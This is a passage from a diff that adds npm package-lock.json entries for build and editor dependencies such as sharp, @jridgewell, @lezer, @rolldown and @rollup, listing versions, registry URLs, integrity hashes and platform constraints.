"https://registry.npmjs.org/@img/sharp-win32-x64/-/sharp-win32-x64-0.33.5.tgz", 1428 + "integrity": "sha512-MpY/o8/8kj+EcnxwvrP4aTJSWw/aZ7JIGR4aBeZkZw5B7/Jn+tY9/VNwtcoGmdT7GfggGIU4kygOMSbYnOrAbg==", 1429 + "cpu": [ 1430 + "x64" 1431 + ], 1432 + "dev": true, 1433 + "license": "Apache-2.0 AND LGPL-3.0-or-later", 1434 + "optional": true, 1435 + "os": [ 1436 + "win32" 1437 + ], 1438 + "engines": { 1439 + "node": "^18.17.0 || ^20.3.0 || >=21.0.0" 1440 + }, 1441 + "funding": { 1442 + "url": "https://opencollective.com/libvips" 1443 + } 1444 + }, 1445 + "node_modules/@jridgewell/gen-mapping": { 1446 + "version": "0.3.13", 1447 + "resolved": "https://registry.npmjs.org/@jridgewell/gen-mapping/-/gen-mapping-0.3.13.tgz", 1448 + "integrity": "sha512-2kkt/7niJ6MgEPxF0bYdQ6etZaA+fQvDcLKckhy1yIQOzaoKjBBjSj63/aLVjYE3qhRt5dvM+uUyfCg6UKCBbA==", 1449 + "license": "MIT", 1450 + "dependencies": { 1451 + "@jridgewell/sourcemap-codec": "^1.5.0", 1452 + "@jridgewell/trace-mapping": "^0.3.24" 1453 + } 1454 + }, 1455 + "node_modules/@jridgewell/remapping": { 1456 + "version": "2.3.5", 1457 + "resolved": "https://registry.npmjs.org/@jridgewell/remapping/-/remapping-2.3.5.tgz", 1458 + "integrity": "sha512-LI9u/+laYG4Ds1TDKSJW2YPrIlcVYOwi2fUC6xB43lueCjgxV4lffOCZCtYFiH6TNOX+tQKXx97T4IKHbhyHEQ==", 1459 + "dev": true, 1460 + "license": "MIT", 1461 + "dependencies": { 1462 + "@jridgewell/gen-mapping": "^0.3.5", 1463 + "@jridgewell/trace-mapping": "^0.3.24" 1464 + } 1465 + }, 1466 + "node_modules/@jridgewell/resolve-uri": { 1467 + "version": "3.1.2", 1468 + "resolved": "https://registry.npmjs.org/@jridgewell/resolve-uri/-/resolve-uri-3.1.2.tgz", 1469 + "integrity": "sha512-bRISgCIjP20/tbWSPWMEi54QVPRZExkuD9lJL+UIxUKtwVJA8wW1Trb1jMs1RFXo1CBTNZ/5hpC9QvmKWdopKw==", 1470 + "license": "MIT", 1471 + "engines": { 1472 + "node": ">=6.0.0" 1473 + } 1474 + }, 1475 + "node_modules/@jridgewell/source-map": { 1476 + "version": "0.3.11", 1477 + "resolved": "https://registry.npmjs.org/@jridgewell/source-map/-/source-map-0.3.11.tgz", 1478 + "integrity": "sha512-ZMp1V8ZFcPG5dIWnQLr3NSI1MiCU7UETdS/A0G8V/XWHvJv3ZsFqutJn1Y5RPmAPX6F3BiE397OqveU/9NCuIA==", 1479 + "license": "MIT", 1480 + "peer": true, 1481 + "dependencies": { 1482 + "@jridgewell/gen-mapping": "^0.3.5", 1483 + "@jridgewell/trace-mapping": "^0.3.25" 1484 + } 1485 + }, 1486 + "node_modules/@jridgewell/sourcemap-codec": { 1487 + "version": "1.5.5", 1488 + "resolved": "https://registry.npmjs.org/@jridgewell/sourcemap-codec/-/sourcemap-codec-1.5.5.tgz", 1489 + "integrity": "sha512-cYQ9310grqxueWbl+WuIUIaiUaDcj7WOq5fVhEljNVgRfOUhY9fy2zTvfoqWsnebh8Sl70VScFbICvJnLKB0Og==", 1490 + "license": "MIT" 1491 + }, 1492 + "node_modules/@jridgewell/trace-mapping": { 1493 + "version": "0.3.31", 1494 + "resolved": "https://registry.npmjs.org/@jridgewell/trace-mapping/-/trace-mapping-0.3.31.tgz", 1495 + "integrity": "sha512-zzNR+SdQSDJzc8joaeP8QQoCQr8NuYx2dIIytl1QeBEZHJ9uW6hebsrYgbz8hJwUQao3TWCMtmfV8Nu1twOLAw==", 1496 + "license": "MIT", 1497 + "dependencies": { 1498 + "@jridgewell/resolve-uri": "^3.1.0", 1499 + "@jridgewell/sourcemap-codec": "^1.4.14" 1500 + } 1501 + }, 1502 + "node_modules/@lezer/common": { 1503 + "version": "1.4.0", 1504 + "resolved": "https://registry.npmjs.org/@lezer/common/-/common-1.4.0.tgz", 1505 + "integrity": "sha512-DVeMRoGrgn/k45oQNu189BoW4SZwgZFzJ1+1TV5j2NJ/KFC83oa/enRqZSGshyeMk5cPWMhsKs9nx+8o0unwGg==", 1506 + "license": "MIT" 1507 + }, 1508 + "node_modules/@lezer/highlight": { 1509 + "version": "1.2.3", 1510 + "resolved": "https://registry.npmjs.org/@lezer/highlight/-/highlight-1.2.3.tgz", 1511 + "integrity": "sha512-qXdH7UqTvGfdVBINrgKhDsVTJTxactNNxLk7+UMwZhU13lMHaOBlJe9Vqp907ya56Y3+ed2tlqzys7jDkTmW0g==", 1512 + "license": "MIT", 1513 + "dependencies": { 1514 + "@lezer/common": "^1.3.0" 1515 + } 1516 + }, 1517 + "node_modules/@lezer/javascript": { 1518 + "version": "1.5.4", 1519 + "resolved": "https://registry.npmjs.org/@lezer/javascript/-/javascript-1.5.4.tgz", 1520 + "integrity": "sha512-vvYx3MhWqeZtGPwDStM2dwgljd5smolYD2lR2UyFcHfxbBQebqx8yjmFmxtJ/E6nN6u1D9srOiVWm3Rb4tmcUA==", 1521 + "license": "MIT", 1522 + "dependencies": { 1523 + "@lezer/common": "^1.2.0", 1524 + "@lezer/highlight": "^1.1.3", 1525 + "@lezer/lr": "^1.3.0" 1526 + } 1527 + }, 1528 + "node_modules/@lezer/lr": { 1529 + "version": "1.4.5", 1530 + "resolved": "https://registry.npmjs.org/@lezer/lr/-/lr-1.4.5.tgz", 1531 + "integrity": "sha512-/YTRKP5yPPSo1xImYQk7AZZMAgap0kegzqCSYHjAL9x1AZ0ZQW+IpcEzMKagCsbTsLnVeWkxYrCNeXG8xEPrjg==", 1532 + "license": "MIT", 1533 + "dependencies": { 1534 + "@lezer/common": "^1.0.0" 1535 + } 1536 + }, 1537 + "node_modules/@marijn/find-cluster-break": { 1538 + "version": "1.0.2", 1539 + "resolved": "https://registry.npmjs.org/@marijn/find-cluster-break/-/find-cluster-break-1.0.2.tgz", 1540 + "integrity": "sha512-l0h88YhZFyKdXIFNfSWpyjStDjGHwZ/U7iobcK1cQQD8sejsONdQtTVU+1wVN1PBw40PiiHB1vA5S7VTfQiP9g==", 1541 + "license": "MIT" 1542 + }, 1543 + "node_modules/@napi-rs/wasm-runtime": { 1544 + "version": "1.1.0", 1545 + "resolved": "https://registry.npmjs.org/@napi-rs/wasm-runtime/-/wasm-runtime-1.1.0.tgz", 1546 + "integrity": "sha512-Fq6DJW+Bb5jaWE69/qOE0D1TUN9+6uWhCeZpdnSBk14pjLcCWR7Q8n49PTSPHazM37JqrsdpEthXy2xn6jWWiA==", 1547 + "dev": true, 1548 + "license": "MIT", 1549 + "optional": true, 1550 + "dependencies": { 1551 + "@emnapi/core": "^1.7.1", 1552 + "@emnapi/runtime": "^1.7.1", 1553 + "@tybys/wasm-util": "^0.10.1" 1554 + } 1555 + }, 1556 + "node_modules/@oxc-project/types": { 1557 + "version": "0.102.0", 1558 + "resolved": "https://registry.npmjs.org/@oxc-project/types/-/types-0.102.0.tgz", 1559 + "integrity": "sha512-8Skrw405g+/UJPKWJ1twIk3BIH2nXdiVlVNtYT23AXVwpsd79es4K+KYt06Fbnkc5BaTvk/COT2JuCLYdwnCdA==", 1560 + "dev": true, 1561 + "license": "MIT", 1562 + "funding": { 1563 + "url": "https://github.com/sponsors/Boshen" 1564 + } 1565 + }, 1566 + "node_modules/@polka/url": { 1567 + "version": "1.0.0-next.29", 1568 + "resolved": "https://registry.npmjs.org/@polka/url/-/url-1.0.0-next.29.tgz", 1569 + "integrity": "sha512-wwQAWhWSuHaag8c4q/KN/vCoeOJYshAIvMQwD4GpSb3OiZklFfvAgmj0VCBBImRpuF/aFgIRzllXlVX93Jevww==", 1570 + "dev": true, 1571 + "license": "MIT" 1572 + }, 1573 + "node_modules/@poppinss/colors": { 1574 + "version": "4.1.6", 1575 + "resolved": "https://registry.npmjs.org/@poppinss/colors/-/colors-4.1.6.tgz", 1576 + "integrity": "sha512-H9xkIdFswbS8n1d6vmRd8+c10t2Qe+rZITbbDHHkQixH5+2x1FDGmi/0K+WgWiqQFKPSlIYB7jlH6Kpfn6Fleg==", 1577 + "dev": true, 1578 + "license": "MIT", 1579 + "dependencies": { 1580 + "kleur": "^4.1.5" 1581 + } 1582 + }, 1583 + "node_modules/@poppinss/dumper": { 1584 + "version": "0.6.5", 1585 + "resolved": "https://registry.npmjs.org/@poppinss/dumper/-/dumper-0.6.5.tgz", 1586 + "integrity": "sha512-NBdYIb90J7LfOI32dOewKI1r7wnkiH6m920puQ3qHUeZkxNkQiFnXVWoE6YtFSv6QOiPPf7ys6i+HWWecDz7sw==", 1587 + "dev": true, 1588 + "license": "MIT", 1589 + "dependencies": { 1590 + "@poppinss/colors": "^4.1.5", 1591 + "@sindresorhus/is": "^7.0.2", 1592 + "supports-color": "^10.0.0" 1593 + } 1594 + }, 1595 + "node_modules/@poppinss/dumper/node_modules/supports-color": { 1596 + "version": "10.2.2", 1597 + "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-10.2.2.tgz", 1598 + "integrity": "sha512-SS+jx45GF1QjgEXQx4NJZV9ImqmO2NPz5FNsIHrsDjh2YsHnawpan7SNQ1o8NuhrbHZy9AZhIoCUiCeaW/C80g==", 1599 + "dev": true, 1600 + "license": "MIT", 1601 + "engines": { 1602 + "node": ">=18" 1603 + }, 1604 + "funding": { 1605 + "url": "https://github.com/chalk/supports-color?sponsor=1" 1606 + } 1607 + }, 1608 + "node_modules/@poppinss/exception": { 1609 + "version": "1.2.3", 1610 + "resolved": "https://registry.npmjs.org/@poppinss/exception/-/exception-1.2.3.tgz", 1611 + "integrity": "sha512-dCED+QRChTVatE9ibtoaxc+WkdzOSjYTKi/+uacHWIsfodVfpsueo3+DKpgU5Px8qXjgmXkSvhXvSCz3fnP9lw==", 1612 + "dev": true, 1613 + "license": "MIT" 1614 + }, 1615 + "node_modules/@rolldown/binding-android-arm64": { 1616 + "version": "1.0.0-beta.54", 1617 + "resolved": "https://registry.npmjs.org/@rolldown/binding-android-arm64/-/binding-android-arm64-1.0.0-beta.54.tgz", 1618 + "integrity": "sha512-zZRx/ur3Fai3fxiEmVp48+6GCBR48PRWJR1X3TTMn9yiq2bBHlYPgBaQtDOYWXv5H3J5dXujeTyGnuoY+kdGCg==", 1619 + "cpu": [ 1620 + "arm64" 1621 + ], 1622 + "dev": true, 1623 + "license": "MIT", 1624 + "optional": true, 1625 + "os": [ 1626 + "android" 1627 + ], 1628 + "engines": { 1629 + "node": "^20.19.0 || >=22.12.0" 1630 + } 1631 + }, 1632 + "node_modules/@rolldown/binding-darwin-arm64": { 1633 + "version": "1.0.0-beta.54", 1634 + "resolved": "https://registry.npmjs.org/@rolldown/binding-darwin-arm64/-/binding-darwin-arm64-1.0.0-beta.54.tgz", 1635 + "integrity": "sha512-zMyFEJmbIs91x22HAA/eUvmZHgjX8tGsD3TJ+WC9aY4bCdl3w84H9vMZmChSHAF1dYvGNH4KQDI2IubeZaCYtg==", 1636 + "cpu": [ 1637 + "arm64" 1638 + ], 1639 + "dev": true, 1640 + "license": "MIT", 1641 + "optional": true, 1642 + "os": [ 1643 + "darwin" 1644 + ], 1645 + "engines": { 1646 + "node": "^20.19.0 || >=22.12.0" 1647 + } 1648 + }, 1649 + "node_modules/@rolldown/binding-darwin-x64": { 1650 + "version": "1.0.0-beta.54", 1651 + "resolved": "https://registry.npmjs.org/@rolldown/binding-darwin-x64/-/binding-darwin-x64-1.0.0-beta.54.tgz", 1652 + "integrity": "sha512-Ex7QttdaVnEpmE/zroUT5Qm10e2+Vjd9q0LX9eXm59SitxDODMpC8GI1Rct5RrLf4GLU4DzdXBj6DGzuR+6g6w==", 1653 + "cpu": [ 1654 + "x64" 1655 + ], 1656 + "dev": true, 1657 + "license": "MIT", 1658 + "optional": true, 1659 + "os": [ 1660 + "darwin" 1661 + ], 1662 + "engines": { 1663 + "node": "^20.19.0 || >=22.12.0" 1664 + } 1665 + }, 1666 + "node_modules/@rolldown/binding-freebsd-x64": { 1667 + "version": "1.0.0-beta.54", 1668 + "resolved": "https://registry.npmjs.org/@rolldown/binding-freebsd-x64/-/binding-freebsd-x64-1.0.0-beta.54.tgz", 1669 + "integrity": "sha512-E1XO10ryM/Vxw3Q1wvs9s2mSpVBfbHtzkbJcdu26qh17ZmVwNWLiIoqEcbkXm028YwkReG4Gd2gCZ3NxgTQ28Q==", 1670 + "cpu": [ 1671 + "x64" 1672 + ], 1673 + "dev": true, 1674 + "license": "MIT", 1675 + "optional": true, 1676 + "os": [ 1677 + "freebsd" 1678 + ], 1679 + "engines": { 1680 + "node": "^20.19.0 || >=22.12.0" 1681 + } 1682 + }, 1683 + "node_modules/@rolldown/binding-linux-arm-gnueabihf": { 1684 + "version": "1.0.0-beta.54", 1685 + "resolved": "https://registry.npmjs.org/@rolldown/binding-linux-arm-gnueabihf/-/binding-linux-arm-gnueabihf-1.0.0-beta.54.tgz", 1686 + "integrity": "sha512-oS73Uks8jczQR9pg0Bj718vap/x71exyJ5yuxu4X5V4MhwRQnky7ANSPm6ARUfraxOqt49IBfcMeGnw2rTSqdA==", 1687 + "cpu": [ 1688 + "arm" 1689 + ], 1690 + "dev": true, 1691 + "license": "MIT", 1692 + "optional": true, 1693 + "os": [ 1694 + "linux" 1695 + ], 1696 + "engines": { 1697 + "node": "^20.19.0 || >=22.12.0" 1698 + } 1699 + }, 1700 + "node_modules/@rolldown/binding-linux-arm64-gnu": { 1701 + "version": "1.0.0-beta.54", 1702 + "resolved": "https://registry.npmjs.org/@rolldown/binding-linux-arm64-gnu/-/binding-linux-arm64-gnu-1.0.0-beta.54.tgz", 1703 + "integrity": "sha512-pY8N2X5C+/ZQcy0eRdfOzOP//OFngP1TaIqDjFwfBPws2UNavKS8SpxhPEgUaYIaT0keVBd/TB+eVy9z+CIOtw==", 1704 + "cpu": [ 1705 + "arm64" 1706 + ], 1707 + "dev": true, 1708 + "license": "MIT", 1709 + "optional": true, 1710 + "os": [ 1711 + "linux" 1712 + ], 1713 + "engines": { 1714 + "node": "^20.19.0 || >=22.12.0" 1715 + } 1716 + }, 1717 + "node_modules/@rolldown/binding-linux-arm64-musl": { 1718 + "version": "1.0.0-beta.54", 1719 + "resolved": "https://registry.npmjs.org/@rolldown/binding-linux-arm64-musl/-/binding-linux-arm64-musl-1.0.0-beta.54.tgz", 1720 + "integrity": "sha512-cgTooAFm2MUmFriB7IYaWBNyqrGlRPKG+yaK2rGFl2rcdOcO24urY4p3eyB0ogqsRLvJbIxwjjYiWiIP7Eo1Cw==", 1721 + "cpu": [ 1722 + "arm64" 1723 + ], 1724 + "dev": true, 1725 + "license": "MIT", 1726 + "optional": true, 1727 + "os": [ 1728 + "linux" 1729 + ], 1730 + "engines": { 1731 + "node": "^20.19.0 || >=22.12.0" 1732 + } 1733 + }, 1734 + "node_modules/@rolldown/binding-linux-x64-gnu": { 1735 + "version": "1.0.0-beta.54", 1736 + "resolved": "https://registry.npmjs.org/@rolldown/binding-linux-x64-gnu/-/binding-linux-x64-gnu-1.0.0-beta.54.tgz", 1737 + "integrity": "sha512-nGyLT1Qau0W+kEL44V2jhHmvfS3wyJW08E4WEu2E6NuIy+uChKN1X0aoxzFIDi2owDsYaZYez/98/f268EupIQ==", 1738 + "cpu": [ 1739 + "x64" 1740 + ], 1741 + "dev": true, 1742 + "license": "MIT", 1743 + "optional": true, 1744 + "os": [ 1745 + "linux" 1746 + ], 1747 + "engines": { 1748 + "node": "^20.19.0 || >=22.12.0" 1749 + } 1750 + }, 1751 + "node_modules/@rolldown/binding-linux-x64-musl": { 1752 + "version": "1.0.0-beta.54", 1753 + "resolved": "https://registry.npmjs.org/@rolldown/binding-linux-x64-musl/-/binding-linux-x64-musl-1.0.0-beta.54.tgz", 1754 + "integrity": "sha512-KH374P0TUjDXssROT/orvzaWrzGOptD13PTrltgKwbDprJTMknoLiYsOD6Ttz92O2VuAcCtFuJ1xbyFM2Uo/Xg==", 1755 + "cpu": [ 1756 + "x64" 1757 + ], 1758 + "dev": true, 1759 + "license": "MIT", 1760 + "optional": true, 1761 + "os": [ 1762 + "linux" 1763 + ], 1764 + "engines": { 1765 + "node": "^20.19.0 || >=22.12.0" 1766 + } 1767 + }, 1768 + "node_modules/@rolldown/binding-openharmony-arm64": { 1769 + "version": "1.0.0-beta.54", 1770 + "resolved": "https://registry.npmjs.org/@rolldown/binding-openharmony-arm64/-/binding-openharmony-arm64-1.0.0-beta.54.tgz", 1771 + "integrity": "sha512-oMAVO4wbfAbhpBxPsSp8R7ntL2DchpNfO+tGhN8/sI9jsbYwOv78uIW1fTwOBslhjTVFltGJ+l23mubNQcYNaQ==", 1772 + "cpu": [ 1773 + "arm64" 1774 + ], 1775 + "dev": true, 1776 + "license": "MIT", 1777 + "optional": true, 1778 + "os": [ 1779 + "openharmony" 1780 + ], 1781 + "engines": { 1782 + "node": "^20.19.0 || >=22.12.0" 1783 + } 1784 + }, 1785 + "node_modules/@rolldown/binding-wasm32-wasi": { 1786 + "version": "1.0.0-beta.54", 1787 + "resolved": "https://registry.npmjs.org/@rolldown/binding-wasm32-wasi/-/binding-wasm32-wasi-1.0.0-beta.54.tgz", 1788 + "integrity": "sha512-MYY/FmY+HehHiQkNx04W5oLy/Fqd1hXYqZmmorSDXvAHnxMbSgmdFicKsSYOg/sVGHBMEP1tTn6kV5sWrS45rA==", 1789 + "cpu": [ 1790 + "wasm32" 1791 + ], 1792 + "dev": true, 1793 + "license": "MIT", 1794 + "optional": true, 1795 + "dependencies": { 1796 + "@napi-rs/wasm-runtime": "^1.1.0" 1797 + }, 1798 + "engines": { 1799 + "node": ">=14.0.0" 1800 + } 1801 + }, 1802 + "node_modules/@rolldown/binding-win32-arm64-msvc": { 1803 + "version": "1.0.0-beta.54", 1804 + "resolved": "https://registry.npmjs.org/@rolldown/binding-win32-arm64-msvc/-/binding-win32-arm64-msvc-1.0.0-beta.54.tgz", 1805 + "integrity": "sha512-66o3uKxUmcYskT9exskxs3OVduXf5x0ndlMkYOjSpBgqzhLtkub136yDvZkNT1OkNDET0odSwcU7aWdpnwzAyg==", 1806 + "cpu": [ 1807 + "arm64" 1808 + ], 1809 + "dev": true, 1810 + "license": "MIT", 1811 + "optional": true, 1812 + "os": [ 1813 + "win32" 1814 + ], 1815 + "engines": { 1816 + "node": "^20.19.0 || >=22.12.0" 1817 + } 1818 + }, 1819 + "node_modules/@rolldown/binding-win32-x64-msvc": { 1820 + "version": "1.0.0-beta.54", 1821 + "resolved": "https://registry.npmjs.org/@rolldown/binding-win32-x64-msvc/-/binding-win32-x64-msvc-1.0.0-beta.54.tgz", 1822 + "integrity": "sha512-FbbbrboChLBXfeEsOfaypBGqzbdJ/CcSA2BPLCggojnIHy58Jo+AXV7HATY8opZk7194rRbokIT8AfPJtZAWtg==", 1823 + "cpu": [ 1824 + "x64" 1825 + ], 1826 + "dev": true, 1827 + "license": "MIT", 1828 + "optional": true, 1829 + "os": [ 1830 + "win32" 1831 + ], 1832 + "engines": { 1833 + "node": "^20.19.0 || >=22.12.0" 1834 + } 1835 + }, 1836 + "node_modules/@rolldown/pluginutils": { 1837 + "version": "1.0.0-beta.53", 1838 + "resolved": "https://registry.npmjs.org/@rolldown/pluginutils/-/pluginutils-1.0.0-beta.53.tgz", 1839 + "integrity": "sha512-vENRlFU4YbrwVqNDZ7fLvy+JR1CRkyr01jhSiDpE1u6py3OMzQfztQU2jxykW3ALNxO4kSlqIDeYyD0Y9RcQeQ==", 1840 + "dev": true, 1841 + "license": "MIT" 1842 + }, 1843 + "node_modules/@rollup/rollup-android-arm-eabi": { 1844 + "version": "4.53.4", 1845 + "resolved": "https://registry.npmjs.org/@rollup/rollup-android-arm-eabi/-/rollup-android-arm-eabi-4.53.4.tgz", 1846 + "integrity": "sha512-PWU3Y92H4DD0bOqorEPp1Y0tbzwAurFmIYpjcObv5axGVOtcTlB0b2UKMd2echo08MgN7jO8WQZSSysvfisFSQ==", 1847 + "cpu": [ 1848 + "arm" 1849 + ], 1850 + "dev": true, 1851 + "license": "MIT", 1852 + "optional": true, 1853 + "os": [ 1854 + "android" 1855 + ] 1856 + }, 1857 + "node_modules/@rollup/rollup-android-arm64": { 1858 + "version": "4.53.4", 1859 + "resolved": "https://registry.npmjs.org/@rollup/rollup-android-arm64/-/rollup-android-arm64-4.53.4.tgz", 1860 + "integrity": "sha512-Gw0/DuVm3rGsqhMGYkSOXXIx20cC3kTlivZeuaGt4gEgILivykNyBWxeUV5Cf2tDA2nPLah26vq3emlRrWVbng==", 1861 + "cpu": [ 1862 + "arm64" 1863 + ], 1864 + "dev": true, 1865 + "license": "MIT", 1866 + "optional": true, 1867 + "os": [ 1868 + "android" 1869 + ] 1870 + }, 1871 + "node_modules/@rollup/rollup-darwin-arm64": { 1872 + "version": "4.53.4", 1873 + "resolved": "https://registry.npmjs.org/@rollup/rollup-darwin-arm64/-/rollup-darwin-arm64-4.53.4.tgz", 1874 + "integrity": "sha512-+w06QvXsgzKwdVg5qRLZpTHh1bigHZIqoIUPtiqh05ZiJVUQ6ymOxaPkXTvRPRLH88575ZCRSRM3PwIoNma01Q==", 1875 + "cpu": [ 1876 + "arm64" 1877 + ], 1878 + "dev": true, 1879 + "license": "MIT", 1880 + "optional": true, 1881 + "os": [ 1882 + "darwin" 1883 + ] 1884 + }, 1885 + "node_modules/@rollup/rollup-darwin-x64": { 1886 + "version": "4.53.4", 1887 + "resolved": "https://registry.npmjs.org/@rollup/rollup-darwin-x64/-/rollup-darwin-x64-4.53.4.tgz", 1888 + "integrity": "sha512-EB4Na9G2GsrRNRNFPuxfwvDRDUwQEzJPpiK1vo2zMVhEeufZ1k7J1bKnT0JYDfnPC7RNZ2H5YNQhW6/p2QKATw==", 1889 + "cpu": [ 1890 + "x64" 1891 + ], 1892 + "dev": true, 1893 + "license": "MIT", 1894 + "optional": true, 1895 + "os": [ 1896 + "darwin" 1897 + ] 1898 + }, 1899 + "node_modules/@rollup/rollup-freebsd-arm64": { 1900 + "version": "4.53.4", 1901 + "resolved": "https://registry.npmjs.org/@rollup/rollup-freebsd-arm64/-/rollup-freebsd-arm64-4.53.4.tgz", 1902 + "integrity": "sha512-bldA8XEqPcs6OYdknoTMaGhjytnwQ0NClSPpWpmufOuGPN5dDmvIa32FygC2gneKK4A1oSx86V1l55hyUWUYFQ==", 1903 + "cpu": [ 1904 + "arm64" 1905 + ], 1906 + "dev": true, 1907 + "license": "MIT", 1908 + "optional": true, 1909 + "os": [ 1910 + "freebsd" 1911 + ] 1912 + }, 1913 + "node_modules/@rollup/rollup-freebsd-x64": { 1914 + "version": "4.53.4", 1915 + "resolved": "https://registry.npmjs.org/@rollup/rollup-freebsd-x64/-/rollup-freebsd-x64-4.53.4.tgz", 1916 + "integrity": "sha512-3T8GPjH6mixCd0YPn0bXtcuSXi1Lj+15Ujw2CEb7dd24j9thcKscCf88IV7n76WaAdorOzAgSSbuVRg4C8V8Qw==", 1917 + "cpu": [ 1918 + "x64" 1919 + ], 1920 + "dev": true, 1921 + "license": "MIT", 1922 + "optional": true, 1923 + "os": [ 1924 + "freebsd" 1925 + ] 1926 + }, 1927 + "node_modules/@rollup/rollup-linux-arm-gnueabihf": { 1928 + "version": "4.53.4", 1929 + "resolved": "https://registry.npmjs.org/@rollup/rollup-linux-arm-gnueabihf/-/rollup-linux-arm-gnueabihf-4.53.4.tgz", 1930 + "integrity": "sha512-UPMMNeC4LXW7ZSHxeP3Edv09aLsFUMaD1TSVW6n1CWMECnUIJMFFB7+XC2lZTdPtvB36tYC0cJWc86mzSsaviw==", 1931 + "cpu": [ 1932 + "arm" 1933 + ], 1934 + "dev": true, 1935 + "license": "MIT", 1936 + "optional": true, 1937 + "os": [ 1938 + "linux" 1939 + ] 1940 + }, 1941 + "node_modules/@rollup/rollup-linux-arm-musleabihf": { 1942 + "version": "4.53.4", 1943 + "resolved": "https://registry.npmjs.org/@rollup/rollup-linux-arm-musleabihf/-/rollup-linux-arm-musleabihf-4.53.4.tgz", 1944 + "integrity": "sha512-H8uwlV0otHs5Q7WAMSoyvjV9DJPiy5nJ/xnHolY0QptLPjaSsuX7tw+SPIfiYH6cnVx3fe4EWFafo6gH6ekZKA==", 1945 + "cpu": [ 1946 + "arm" 1947 + ], 1948 + "dev": true, 1949 + "license": "MIT", 1950 + "optional": true, 1951 + "os": [ 1952 + "linux" 1953 + ] 1954 + }, 1955 + "node_modules/@rollup/rollup-linux-arm64-gnu": { 1956 + "version": "4.53.4", 1957 + "resolved": "https://registry.npmjs.org/@rollup/rollup-linux-arm64-gnu/-/rollup-linux-arm64-gnu-4.53.4.tgz", 1958 + "integrity": "sha512-BLRwSRwICXz0TXkbIbqJ1ibK+/dSBpTJqDClF61GWIrxTXZWQE78ROeIhgl5MjVs4B4gSLPCFeD4xML9vbzvCQ==", 1959 + "cpu": [ 1960 + "arm64" 1961 + ], 1962 + "dev": true, 1963 + "license": "MIT", 1964 + "optional": true, 1965 + "os": [ 1966 + "linux" 1967 + ] 1968 + }, 1969 + "node_modules/@rollup/rollup-linux-arm64-musl": { 1970 + "version": "4.53.4", 1971 + "resolved": "https://registry.npmjs.org/@rollup/rollup-linux-arm64-musl/-/rollup-linux-arm64-musl-4.53.4.tgz", 1972 + "integrity": "sha512-6bySEjOTbmVcPJAywjpGLckK793A0TJWSbIa0sVwtVGfe/Nz6gOWHOwkshUIAp9j7wg2WKcA4Snu7Y1nUZyQew==", 1973 + "cpu": [ 1974 + "arm64" 1975 + ], 1976 + "dev": true, 1977 + "license": "MIT", 1978 + "optional": true, 1979 + "os": [ 1980 + "linux" 1981 + ] 1982 + }, 1983 + "node_modules/@rollup/rollup-linux-loong64-gnu": { 1984 + "version": "4.53.4", 1985 + "resolved": "https://registry.npmjs.org/@rollup/rollup-linux-loong64-gnu/-/rollup-linux-loong64-gnu-4.53.4.tgz", 1986 + "integrity": "sha512-U0ow3bXYJZ5MIbchVusxEycBw7bO6C2u5UvD31i5IMTrnt2p4Fh4ZbHSdc/31TScIJQYHwxbj05BpevB3201ug==", 1987 + "cpu": [ 1988 + "loong64" 1989 + ], 1990 + "dev": true, 1991 + "license": "MIT", 1992 + "optional": true, 1993 + "os": [ 1994 + "linux" 1995 + ] 1996 + }, 1997 + "node_modules/@rollup/rollup-linux-ppc64-gnu": { 1998 + "version": "4.53.4", 1999 + "resolved": "https://registry.npmjs.org/@rollup/rollup-linux-ppc64-gnu/-/rollup-linux-ppc64-gnu-4.53.4.tgz", 2000 + "integrity": "sha512-iujDk07ZNwGLVn0YIWM80SFN039bHZHCdCCuX9nyx3Jsa2d9V/0Y32F+YadzwbvDxhSeVo9zefkoPnXEImnM5w==", 2001 + "cpu": [ 2002 + "ppc64" 2003 + ], 2004 + "dev": true, 2005 + "license": "MIT", 2006 + "optional": true, 2007 + "os": [ 2008 + "linux" 2009 + ] 2010 + }, 2011 + "node_modules/@rollup/rollup-linux-riscv64-gnu": { 2012 + "version": "4.53.4", 2013 + "resolved": "https://registry.npmjs.org/@rollup/rollup-linux-riscv64-gnu/-/rollup-linux-riscv64-gnu-4.53.4.tgz", 2014 + "integrity": "sha512-MUtAktiOUSu+AXBpx1fkuG/Bi5rhlorGs3lw5QeJ2X3ziEGAq7vFNdWVde6XGaVqi0LGSvugwjoxSNJfHFTC0g==", 2015 + "cpu": [ 2016 + "riscv64" 2017 + ], 2018 + "dev": true, 2019 + "license": "MIT", 2020 + "optional": true, 2021 + "os": [ 2022 + "linux" 2023 + ] 2024 + }, 2025 + "node_modules/@rollup/rollup-linux-riscv64-musl": { 2026 + "version": "4.53.4", 2027 + "resolved": "https://registry.npmjs.org/@rollup/rollup-linux-riscv64-musl/-/rollup-linux-riscv64-musl-4.53.4.tgz", 2028 + "integrity": "sha512-btm35eAbDfPtcFEgaXCI5l3c2WXyzwiE8pArhd66SDtoLWmgK5/M7CUxmUglkwtniPzwvWioBKKl6IXLbPf2sQ==", 2029 + "cpu": [ 2030 + "riscv64" 2031 + ], 2032 + "dev": true, 2033 + "license": "MIT", 2034 + "optional": true, 2035 + "os": [ 2036 + "linux" 2037 + ] 2038 + }, 2039 + "node_modules/@rollup/rollup-linux-s390x-gnu": { 2040 + "version": "4.53.4", 2041 + "resolved": "https://registry.npmjs.org/@rollup/rollup-linux-s390x-gnu/-/rollup-linux-s390x-gnu-4.53.4.tgz", 2042 + "integrity": "sha512-uJlhKE9ccUTCUlK+HUz/80cVtx2RayadC5ldDrrDUFaJK0SNb8/cCmC9RhBhIWuZ71Nqj4Uoa9+xljKWRogdhA==", 2043 + "cpu": [ 2044 + "s390x" 2045 + ], 2046 + "dev": true, 2047 + "license": "MIT", 2048 + "optional": true, 2049 + "os": [ 2050 + "linux" 2051 + ] 2052 + }, 2053 + "node_modules/@rollup/rollup-linux-x64-gnu": { 2054 + "version": "4.53.4", 2055 + "resolved": "https://registry.npmjs.org/@rollup/rollup-linux-x64-gnu/-/rollup-linux-x64-gnu-4.53.4.tgz", 2056 + "integrity": "sha512-jjEMkzvASQBbzzlzf4os7nzSBd/cvPrpqXCUOqoeCh1dQ4BP3RZCJk8XBeik4MUln3m+8LeTJcY54C/u8wb3DQ==", 2057 + "cpu": [ 2058 + "x64" 2059 + ], 2060 + "dev": true, 2061 + "license": "MIT", 2062 + "optional": true, 2063 + "os": [ 2064 + "linux" 2065 + ] 2066 + }, 2067 + "node_modules/@rollup/rollup-linux-x64-musl": { 2068 + "version": "4.53.4", 2069 + "resolved": "https://registry.npmjs.org/@rollup/rollup-linux-x64-musl/-/rollup-linux-x64-musl-4.53.4.tgz", 2070 + "integrity": 